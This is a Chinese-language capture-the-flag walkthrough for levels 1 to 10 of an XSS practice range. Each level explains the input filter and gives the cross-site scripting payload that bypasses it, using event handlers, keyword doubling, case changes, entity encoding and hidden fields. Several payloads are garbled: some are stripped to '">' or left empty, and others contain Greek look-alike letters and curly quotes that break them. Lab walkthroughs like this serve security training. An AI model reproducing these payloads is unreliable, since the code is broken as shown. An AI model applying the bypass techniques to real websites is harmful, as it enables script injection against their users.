靶场地址:url:http://test.ctf8.com/
Level 1
页面没有文本框,但可以从URL下手
payload:test.ctf8.com/level1.php?name=
Level 2
随便输入点什么,查看页面源码,发现我们输入的内容被困在了input的value属性内,那就闭合他们
payload:">
Level 3
<>被转义,所以不能再用标签,那就给input加一个onfocus事件
payload:’ οnfοcus=alert(‘ok’)//
Level 4
和上一关相同,只不过value需要用单引号闭合
payload:" οnfοcus=alert(‘ok’)//
Level 5
script和onclick都被过滤了,没关系,我们还有a标签
payload:">
Level 6
script、onclick、href都被过滤了,那试试大小写绕过
payload:">
Level 7
script被替换成了null,那就好办了,将script放到scr和ipt之间,即使script被替换成了null,前后连接依然又是一个script
paylaod:">alert(‘ok’)
Level 8
script、onclick被屏蔽了并且大小写还不能绕过,那只能请出我们的HTML ASCCI编码来替换r了
paylaod:javascript:alert(‘1’)
Level 9
可能后台代码限制了输入的格式必须为网址,所以我们必须加一串网址,%0d是urlencode编码的换行
payload:javascript:%0dhttp://www.0aa.me%0dalert(‘ok’)
Level 10
F12审查元素,发现有三个属性为hidden的表单,我们可以修改URL参数来实现注入
payload:http://test.ctf8.com/level10.php?t_sort=" type=“text” οnclick=“alert(‘ok’)”